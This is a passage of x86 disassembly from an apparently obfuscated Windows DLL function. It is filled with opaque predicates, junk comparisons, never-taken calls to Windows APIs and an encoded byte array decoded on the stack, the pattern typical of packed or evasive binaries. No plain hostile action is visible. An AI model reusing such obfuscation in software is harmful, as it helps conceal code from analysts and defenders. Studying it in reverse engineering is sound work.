and dword [ebp - 0xc60], 0
cmp dword [ebp - 0xc60], 0xffffffff
ja 0x10036440
mov dword [ebp - 0x6b4], 1
jmp 0x10036447
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x6b4], eax
jg 0x10036461
mov dword [ebp - 0xc68], 1
jmp 0x10036468
and dword [ebp - 0xc68], 0
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0xc68], eax
jge 0x10036482
mov dword [ebp - 0x6bc], 1
jmp 0x10036489
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp - 0x6bc]
jg 0x100364a3
mov dword [ebp - 0xc70], 1
jmp 0x100364aa
and dword [ebp - 0xc70], 0
cmp dword [ebp - 0xc70], 0xe3f3
jne 0x100364c2
mov dword [ebp - 0x6c4], 1
jmp 0x100364c9
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x6c4]
neg eax
je 0x100364e3
xor eax, eax
je 0x100364e3
mov dword [ebp - 0xc78], 1
jmp 0x100364ea
and dword [ebp - 0xc78], 0
mov eax, dword [ebp - 0x238]
imul eax, dword [ebp - 0xc78]
cmp eax, dword [ebp - 0x1b4]
jge 0x1003650b
mov dword [ebp - 0x6cc], 1
jmp 0x10036512
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x6cc], eax
jne 0x1003652c
mov dword [ebp - 0xc80], 1
jmp 0x10036533
and dword [ebp - 0xc80], 0
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0xc80], eax
je 0x1003654d
mov dword [ebp - 0x6d4], 1
jmp 0x10036554
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp - 0x6d4]
jg 0x1003656e
mov dword [ebp - 0x6dc], 1
jmp 0x10036575
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xc88], eax
push 1
lea ecx, [ebp - 0x13f4]
call fcn.10025e5b
mov ecx, dword [ebp - 0xc88]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc88]
cmp eax, dword [ebp - 0x6dc]
jg 0x100365b0
mov dword [ebp - 0xc90], 1
jmp 0x100365b7
and dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0xc90]
mov dword [ebp - 0x1128], eax
mov eax, dword [ebp - 0x6e4]
inc eax
mov dword [ebp - 0x6e4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13f4]
call fcn.10025e3f
cmp dword [0x106208c4], 0
jne 0x1003b9c2
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x4f0], 0x9ae65c34
mov dword [ebp - 0xcc0], 0xaead2214
mov dword [ebp - 0x1130], 1
mov dword [ebp - 0x358], 0
jmp 0x1003662d
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 3
jge 0x10036649
mov eax, dword [ebp - 0x358]
mov dword [ebp + eax*4 - 0xf08], 7
jmp 0x10036620
mov dword [ebp - 0x108], 2
jmp 0x10036662
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x100368bb
push 4
lea ecx, [ebp - 0xec8]
call fcn.10025ddd
mov dword [ebp - 4], 8
mov dword [ebp - 0xf0], 2
mov dword [ebp - 0x470], 0
jmp 0x100366a6
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 4
jge 0x100366c8
push dword [ebp - 0x470]
lea ecx, [ebp - 0xec8]
call fcn.10025e5b
mov dword [eax], 1
jmp 0x10036699
mov esi, dword [ebp - 0x108]
push 3
lea ecx, [ebp - 0xec8]
call fcn.10025e5b
mov dword [eax], esi
mov dword [ebp - 0xf0], 0
jmp 0x100366f6
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 2
jg 0x100368a7
mov dword [ebp - 0x29c], 0xc36544d1
mov dword [ebp - 0x29c], 3
jmp 0x10036726
mov eax, dword [ebp - 0x29c]
dec eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
jl 0x1003674b
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x10036749
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
jmp 0x10036719
mov eax, dword [ebp - 0xf0]
inc eax
push eax
lea ecx, [ebp - 0xec8]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003677a
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0xf0]
jle 0x1003677a
and dword [ebp - 0x6f4], 0
jmp 0x10036784
mov dword [ebp - 0x6f4], 1
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xf08]
cmp ecx, dword [ebp + eax - 0xf08]
jl 0x100367ab
mov dword [ebp - 0xc98], 1
jmp 0x100367b2
and dword [ebp - 0xc98], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf08]
cmp eax, dword [ebp - 0xc98]
je 0x100367dc
cmp dword [ebp - 0xf0], 0
je 0x100367dc
mov dword [ebp - 0x6ec], 1
jmp 0x100367e3
and dword [ebp - 0x6ec], 0
push 3
lea ecx, [ebp - 0xec8]
call fcn.10025e5b
mov ecx, dword [ebp - 0x6ec]
cmp ecx, dword [eax]
jge 0x10036806
mov dword [ebp - 0xca0], 1
jmp 0x1003680d
and dword [ebp - 0xca0], 0
push 1
lea ecx, [ebp - 0xec8]
call fcn.10025e5b
mov ecx, dword [ebp - 0xca0]
imul ecx, dword [eax]
test ecx, ecx
jne 0x10036839
cmp dword [ebp - 0x108], 0
jne 0x10036839
and dword [ebp - 0xca8], 0
jmp 0x10036843
mov dword [ebp - 0xca8], 1
mov eax, dword [ebp - 0x6f4]
add eax, dword [ebp - 0xca8]
cmp eax, 0x1e60e779
jle 0x10036862
mov dword [ebp - 0x6fc], 1
jmp 0x10036869
and dword [ebp - 0x6fc], 0
push 3
lea ecx, [ebp - 0xec8]
call fcn.10025e5b
mov ecx, dword [ebp - 0x6fc]
sub ecx, dword [eax]
cmp ecx, 0xfffffffb
jge 0x1003688f
mov dword [ebp - 0xcb0], 1
jmp 0x10036896
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0xcb0]
mov dword [ebp - 0x29c], eax
jmp 0x100366e9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xec8]
call fcn.10025e3f
jmp 0x10036655
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xf08], 8
jl 0x100368d6
mov dword [ebp - 0x704], 1
jmp 0x100368dd
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x4f0]
cmp dword [ebp - 0x704], eax
jle 0x100368f7
mov dword [ebp - 0xcb8], 1
jmp 0x100368fe
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0x4f0]
add eax, dword [ebp - 0xcb8]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x14e0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf08]
cmp eax, dword [ebp - 0x4f0]
jl 0x1003693d
mov dword [ebp - 0x70c], 1
jmp 0x10036944
and dword [ebp - 0x70c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf08]
mov dword [ebp - 0x15fc], eax
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0xcc0], eax
mov eax, dword [ebp - 0xcc0]
mov dword [ebp - 0x14e8], eax
mov dword [ebp - 0x1130], 0xfffffff8
mov dword [ebp - 0x1138], 0xe7f9
lea eax, [ebp - 0x1138]
push eax
call fcn.100302ae
pop ecx
mov dword [ebp - 0xa34], eax
mov dword [ebp - 0x1148], 0x29a3df60
mov dword [ebp - 0x360], 0
jmp 0x100369b8
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 1
jge 0x100369d4
mov eax, dword [ebp - 0x360]
mov dword [ebp + eax*4 - 0x1140], 1
jmp 0x100369ab
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1140]
mov dword [ebp - 0x1148], eax
mov byte [ebp - 0x1db], 0
movzx eax, byte [ebp - 0x1db]
test eax, eax
je 0x10036a01
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0x1d0], 1
mov dword [ebp - 0x714], 0xdcd6
mov dword [ebp - 0x1160], 0xffffffff
mov dword [ebp - 0xcd0], 1
mov dword [ebp - 0x1150], 0x2579
cmp dword [ebp - 0x1150], 0xa0e
jge 0x10036b8d
lea eax, [ebp - 0xed8]
push eax
lea eax, [ebp - 0x80]
push eax
push 0x100082a4
call fcn.10060cab
add esp, 0xc
push 0
push 2
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.10077c80
mov dword [ebp - 0xfc0], eax
mov dword [ebp - 0xfbc], edx
mov eax, dword [ebp - 0xfc0]
or eax, dword [ebp - 0xfbc]
jne 0x10036aea
mov eax, dword [ebp - 0xed8]
sub eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0xed4]
sbb ecx, dword [ebp - 0x7c]
mov dword [ebp - 0xfcc], eax
mov dword [ebp - 0xfc8], ecx
cmp dword [ebp - 0xfc8], 0
jl 0x10036aea
jg 0x10036ab6
cmp dword [ebp - 0xfcc], 2
jb 0x10036aea
mov eax, dword [ebp - 0x80]
add eax, 2
mov ecx, dword [ebp - 0x7c]
adc ecx, 0
push ecx
push eax
mov eax, dword [ebp - 0x80]
add eax, 1
mov ecx, dword [ebp - 0x7c]
adc ecx, 0
push ecx
push eax
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push 0x100082b0
call fcn.10060ec6
add esp, 0x1c
jmp 0x10036b8d
push 0
push 2
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.10077c80
mov dword [ebp - 0xfd8], eax
mov dword [ebp - 0xfd4], edx
cmp dword [ebp - 0xfd8], 1
jne 0x10036b82
cmp dword [ebp - 0xfd4], 0
jne 0x10036b82
mov eax, dword [ebp - 0xed8]
sub eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0xed4]
sbb ecx, dword [ebp - 0x7c]
mov dword [ebp - 0xfe4], eax
mov dword [ebp - 0xfe0], ecx
cmp dword [ebp - 0xfe0], 0
jl 0x10036b82
jg 0x10036b49
cmp dword [ebp - 0xfe4], 3
jb 0x10036b82
mov eax, dword [ebp - 0x80]
add eax, 3
mov ecx, dword [ebp - 0x7c]
adc ecx, 0
push ecx
push eax
mov eax, dword [ebp - 0x80]
add eax, 2
mov ecx, dword [ebp - 0x7c]
adc ecx, 0
push ecx
push eax
mov eax, dword [ebp - 0x80]
add eax, 1
mov ecx, dword [ebp - 0x7c]
adc ecx, 0
push ecx
push eax
push 0x100082b0
call fcn.10060ec6
add esp, 0x1c
jmp 0x10036b8d
push 0x100082c0
call fcn.100614c1
pop ecx
mov dword [ebp - 0x1168], 0xfffffffd
mov dword [ebp - 0x400], 0
jmp 0x10036bb0
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 3
jge 0x10036bcc
mov eax, dword [ebp - 0x400]
mov dword [ebp + eax*4 - 0x16f0], 0x9fa8bc07
jmp 0x10036ba3
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 0x714]
sub eax, dword [ebp - 0x1d0]
cmp eax, dword [ebp - 0x1d0]
jg 0x10036bf8
mov dword [ebp - 0x1158], 1
jmp 0x10036bff
and dword [ebp - 0x1158], 0
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x16a4], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x14f0], eax
mov eax, dword [ebp - 0x1160]
cmp eax, dword [ebp - 0x1d0]
jne 0x10036c31
mov dword [ebp - 0xcc8], 1
jmp 0x10036c38
and dword [ebp - 0xcc8], 0
mov eax, 0x1117
sub eax, dword [ebp - 0xcc8]
cmp eax, 0x1615e82a
jge 0x10036c56
mov dword [ebp - 0x71c], 1
jmp 0x10036c5d
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0xcd0], eax
mov eax, dword [ebp - 0x1d0]
cmp eax, dword [ebp - 0xcd0]
jl 0x10036c83
mov dword [ebp - 0x5b0], 1
jmp 0x10036c8a
and dword [ebp - 0x5b0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5b0]
mov dword [ebp + eax - 0x16f0], ecx
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x1168], eax
mov byte [ebp - 0x314], 0xa
mov byte [ebp - 0x313], 0x43
mov byte [ebp - 0x312], 6
mov byte [ebp - 0x311], 0x36
mov byte [ebp - 0x310], 3
mov byte [ebp - 0x30f], 0x25
mov byte [ebp - 0x30e], 2
mov byte [ebp - 0x30d], 0x22
mov byte [ebp - 0x30c], 5
mov byte [ebp - 0x30b], 6
mov byte [ebp - 0x30a], 0xb
mov byte [ebp - 0x309], 0xa
mov byte [ebp - 0x308], 4
mov byte [ebp - 0x307], 0x1d
mov byte [ebp - 0x306], 9
mov byte [ebp - 0x305], 0xb
mov byte [ebp - 0x304], 8
mov byte [ebp - 0x303], 1
mov byte [ebp - 0x302], 7
mov byte [ebp - 0x301], 6
mov byte [ebp - 0x300], 0xc
mov byte [ebp - 0x2ff], 0x3e
mov byte [ebp - 0x2fe], 2
mov byte [ebp - 0x2fd], 0xda
mov byte [ebp - 0x2fc], 0xfd
mov byte [ebp - 0x2fb], 0
mov byte [ebp - 0x2fa], 0x10
mov byte [ebp - 0x2f9], 1
mov byte [ebp - 0x2f8], 0x22
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x314]
and eax, 6
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x314]
or ecx, 6
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x314]
mov byte [ebp + eax - 0x1224], cl
mov dword [ebp - 0x240], 0xa394643c
mov dword [ebp - 0x368], 0
jmp 0x10036dd0
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 2
jge 0x10036dec
mov eax, dword [ebp - 0x368]
mov dword [ebp + eax*4 - 0x151c], 0x93b4
jmp 0x10036dc3
mov dword [ebp - 0x240], 1
jmp 0x10036e05
mov eax, dword [ebp - 0x240]
dec eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
jl 0x10036e36
mov dword [ebp - 0x1170], 5
mov dword [ebp - 0x1170], 0xfffffff7
mov eax, dword [ebp - 0x240]
cmp dword [ebp + eax*4 - 0x151c], 0
je 0x10036e34
jmp 0x10036df8
jmp 0x10036df8
mov dword [ebp - 0x44], 2
and dword [ebp - 0x380], 0
jmp 0x10036e4e
mov eax, dword [ebp - 0x44]
inc eax
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x1d
jae 0x10037cd3
mov dword [ebp - 0x450], 0
jmp 0x10036e71
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 1
jge 0x10036e8d
mov eax, dword [ebp - 0x450]
mov dword [ebp + eax*4 - 0x1604], 0x48261f9c
jmp 0x10036e64
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x10036eaa
push 0x1944
call dword [sym.imp.USER32.dll_SetFocus]
mov byte [ebp - 0x1c2], 0
movzx eax, byte [ebp - 0x1c2]
test eax, eax
je 0x10036ec7
push 0xf42
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x314]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x44], eax
jne 0x100378a3
push 1
lea ecx, [ebp - 0x2f4]
call fcn.10025ddd
mov dword [ebp - 4], 9
mov dword [ebp - 0x248], 0xa251abe7
mov dword [ebp - 0xc4], 0
jmp 0x10036f19
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 4
jge 0x10036f35
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x1640], 0x841b3c69
jmp 0x10036f0c
mov dword [ebp - 0xc4], 0
jmp 0x10036f4e
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 1
jge 0x10036f6d
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
or dword [eax], 0xffffffff
jmp 0x10036f41
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
and dword [eax], 0
jmp 0x10036fa3
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x724]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x724]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
cmp dword [eax], 3
jg 0x100374a4
mov dword [ebp - 0xac], 0
mov dword [ebp - 0x370], 0x6fbd10ca
mov dword [ebp - 0x284], 0x6ea3de81
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1640]
mov dword [ebp - 0x14f8], eax
or eax, 0xffffffff
jne 0x10037123
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003702c
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003702c
mov dword [ebp - 0xcd8], 1
jmp 0x10037033
and dword [ebp - 0xcd8], 0
cmp dword [ebp - 0xcd8], 0xea0
jl 0x1003704b
mov dword [ebp - 0x72c], 1
jmp 0x10037052
and dword [ebp - 0x72c], 0
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov ecx, dword [ebp - 0x72c]
cmp ecx, dword [eax]
jne 0x10037075
mov dword [ebp - 0xce0], 1
jmp 0x1003707c
and dword [ebp - 0xce0], 0
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov ecx, dword [ebp - 0xce0]
cmp ecx, dword [eax]
jle 0x100370b1
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
cmp dword [eax], 0
je 0x100370b1
mov dword [ebp - 0x734], 1
jmp 0x100370b8
and dword [ebp - 0x734], 0
cmp dword [ebp - 0x734], 0xf2f
je 0x100370d0
mov dword [ebp - 0xce8], 1
jmp 0x100370d7
and dword [ebp - 0xce8], 0
mov eax, dword [ebp - 0xce8]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jbe 0x100370f8
mov dword [ebp - 0x73c], 1
jmp 0x100370ff
and dword [ebp - 0x73c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1640]
imul eax, dword [ebp - 0x73c]
add eax, 0x70612fd2
jne 0x10037123
and dword [ebp - 0xcf0], 0
jmp 0x1003712d
mov dword [ebp - 0xcf0], 1
cmp dword [ebp - 0xcf0], 0xc002
jl 0x1003714e
cmp dword [ebp - 0xac], 0
je 0x1003714e
mov dword [ebp - 0x744], 1
jmp 0x10037155
and dword [ebp - 0x744], 0
cmp dword [ebp - 0x744], 0xfffffff6
jae 0x1003716a
mov dword [ebp - 0xcf8], 1
jmp 0x10037171
and dword [ebp - 0xcf8], 0
cmp dword [ebp - 0xcf8], 1
jg 0x10037186
mov dword [ebp - 0x74c], 1
jmp 0x1003718d
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x284], 3
jmp 0x100371be
mov eax, dword [ebp - 0x284]
dec eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
jl 0x1003749f
mov dword [ebp - 0xd10], 0x7b33
mov dword [ebp - 0x77c], 0
mov dword [ebp - 0x774], 7
mov dword [ebp - 0xac], 3
jmp 0x10037202
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jl 0x100373ee
mov dword [ebp - 0xd00], 0xfffa
mov eax, dword [ebp - 0xd00]
inc eax
mov dword [ebp - 0xd00], eax
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1640]
add eax, 5
je 0x10037260
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x1003725b
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x100373e9
mov dword [ebp - 0x4f8], 0xf2bba2d3
mov dword [ebp - 0x76c], 0xfd40fd77
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov eax, dword [eax]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x1003732a
cmp dword [ebp - 0x4f8], 0
je 0x1003732a
mov eax, dword [ebp - 0x77c]
cmp eax, dword [ebp - 0x774]
jg 0x100372cf
mov eax, 0xa9a26275
test eax, eax
je 0x100372cf
mov dword [ebp - 0x754], 1
jmp 0x100372d6
and dword [ebp - 0x754], 0
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov ecx, dword [ebp - 0x754]
cmp ecx, dword [eax]
je 0x100372ff
mov eax, 0xec7e9a03
test eax, eax
jne 0x100372ff
and dword [ebp - 0xd08], 0
jmp 0x10037309
mov dword [ebp - 0xd08], 1
mov eax, dword [ebp - 0xd08]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x1003732a
mov dword [ebp - 0x1178], 1
jmp 0x10037331
and dword [ebp - 0x1178], 0
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x1678], eax
cmp dword [ebp - 0xac], 6
jb 0x10037352
mov dword [ebp - 0x75c], 1
jmp 0x10037359
and dword [ebp - 0x75c], 0
cmp dword [ebp - 0x75c], 0xa264
je 0x10037371
mov dword [ebp - 0x1180], 1
jmp 0x10037378
and dword [ebp - 0x1180], 0
mov dword [ebp - 0xd10], 0
mov eax, dword [ebp - 0xd10]
mov dword [ebp - 0x1500], eax
mov eax, 0xa615b38d
cmp eax, 0xb66969e9
je 0x100373a6
mov dword [ebp - 0x764], 1
jmp 0x100373ad
and dword [ebp - 0x764], 0
cmp dword [ebp - 0x764], 9
je 0x100373c2
mov dword [ebp - 0xd18], 1
jmp 0x100373c9
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0xd18]
mov dword [ebp - 0x76c], eax
mov dword [ebp - 0x76c], 0xdcb3df1
mov dword [ebp - 0x4f8], 0xfffffff8
jmp 0x100371f5
mov dword [ebp - 0x370], 1
cmp dword [ebp - 0x370], 0
je 0x10037411
xor eax, eax
je 0x10037411
mov dword [ebp - 0xd20], 1
jmp 0x10037418
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 0xd20]
sub eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x774]
jge 0x10037438
mov dword [ebp - 0xd28], 1
jmp 0x1003743f
and dword [ebp - 0xd28], 0
push 0
lea ecx, [ebp - 0x2f4]
call fcn.10025e5b
mov eax, dword [eax]
cmp eax, dword [ebp - 0xd28]
jne 0x10037462
mov dword [ebp - 0xd30], 1
jmp 0x10037469
and dword [ebp - 0xd30], 0
mov eax, dword [ebp - 0x77c]
cmp dword [ebp - 0xd30], eax
je 0x10037483
mov dword [ebp - 0x784], 1
jmp 0x1003748a
and dword [ebp - 0x784], 0
imul eax, dword [ebp - 0x784], 0xca2
mov dword [ebp - 0x248], eax
jmp 0x100371b1
jmp 0x10036f7f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f4]
call fcn.10025e3f
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x314]
inc eax
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x314]
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x24], 0x1fc3eee
mov dword [ebp - 0x558], 0x5714ffd8
mov dword [ebp - 0x2ac], 0xffffffff
mov dword [ebp - 0x1bc], 9
mov dword [ebp - 0x408], 0
jmp 0x10037518
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 2
jge 0x10037534
mov eax, dword [ebp - 0x408]
mov dword [ebp + eax*4 - 0x1748], 0xfffffffa
jmp 0x1003750b
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
je 0x10037548
mov dword [ebp - 0x122c], 1
jmp 0x1003754f
and dword [ebp - 0x122c], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x160c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1508], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x16bc], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1510], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1614], eax
cmp dword [ebp - 0x24], 0xfff6
jne 0x10037591
mov dword [ebp - 0xd38], 1
jmp 0x10037598
and dword [ebp - 0xd38], 0
mov eax, dword [ebp - 0xd38]
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x558]
imul eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
jne 0x100375c2
mov dword [ebp - 0x78c], 1
jmp 0x100375c9
and dword [ebp - 0x78c], 0
imul eax, dword [ebp - 0x24], 0xde2b
imul eax, dword [ebp - 0x78c]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x1544], eax
cmp dword [ebp - 0x558], 0
je 0x1003765f
mov dword [ebp - 0xd40], 0x4b2e
mov dword [ebp - 0x1628], 0xfffffffe
mov dword [ebp - 0x1bc], 1
jmp 0x1003762b
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jl 0x1003765a
mov dword [ebp - 0x794], 0x28033590
mov eax, dword [ebp - 0xd40]
dec eax
mov dword [ebp - 0xd40], eax
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
jmp 0x1003761e
jmp 0x1003787e
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd48], 0xba52b339
mov dword [ebp - 0x1214], 0xffffffff
mov dword [ebp - 0x1044], 0x19924203
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x154c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x168c], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0xd48], eax
mov eax, dword [ebp - 0xd48]
cmp eax, dword [ebp - 0x24]
jge 0x100376bf
mov dword [ebp - 0x79c], 1
jmp 0x100376c6
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x79c]
jl 0x100376e0
mov dword [ebp - 0xd50], 1
jmp 0x100376e7
and dword [ebp - 0xd50], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xd50], eax
jle 0x10037707
cmp dword [ebp - 0xd4], 0
je 0x10037707
mov dword [ebp - 0x7a4], 1
jmp 0x1003770e
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x7a4], eax
jne 0x10037728
mov dword [ebp - 0xd58], 1
jmp 0x1003772f
and dword [ebp - 0xd58], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0xd58], eax
je 0x10037749
mov dword [ebp - 0x7ac], 1
jmp 0x10037750
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x7ac], eax
je 0x1003776a
mov dword [ebp - 0xd60], 1
jmp 0x10037771
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0xd60], eax
jge 0x1003778b
mov dword [ebp - 0x7b4], 1
jmp 0x10037792
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0x7b4]
test eax, eax
je 0x100377b8
mov eax, 0x4e48c0c8
test eax, eax
je 0x100377b8
mov dword [ebp - 0xd68], 1
jmp 0x100377bf
and dword [ebp - 0xd68], 0
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xd68]
jne 0x100377e8
cmp dword [ebp - 0x2ac], 0
jne 0x100377e8
cmp dword [ebp - 0x1214], 0
jne 0x100377e8
and dword [ebp - 0xd70], 0
jmp 0x100377f2
mov dword [ebp - 0xd70], 1
cmp dword [ebp - 0xd70], 0x14f16367
je 0x1003780a
mov dword [ebp - 0xe14], 1
jmp 0x10037811
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0xe14], eax
jle 0x1003782b
mov dword [ebp - 0x7c4], 1
jmp 0x10037832
and dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 0xd3cc114f
jne 0x1003784a
mov dword [ebp - 0xb24], 1
jmp 0x10037851
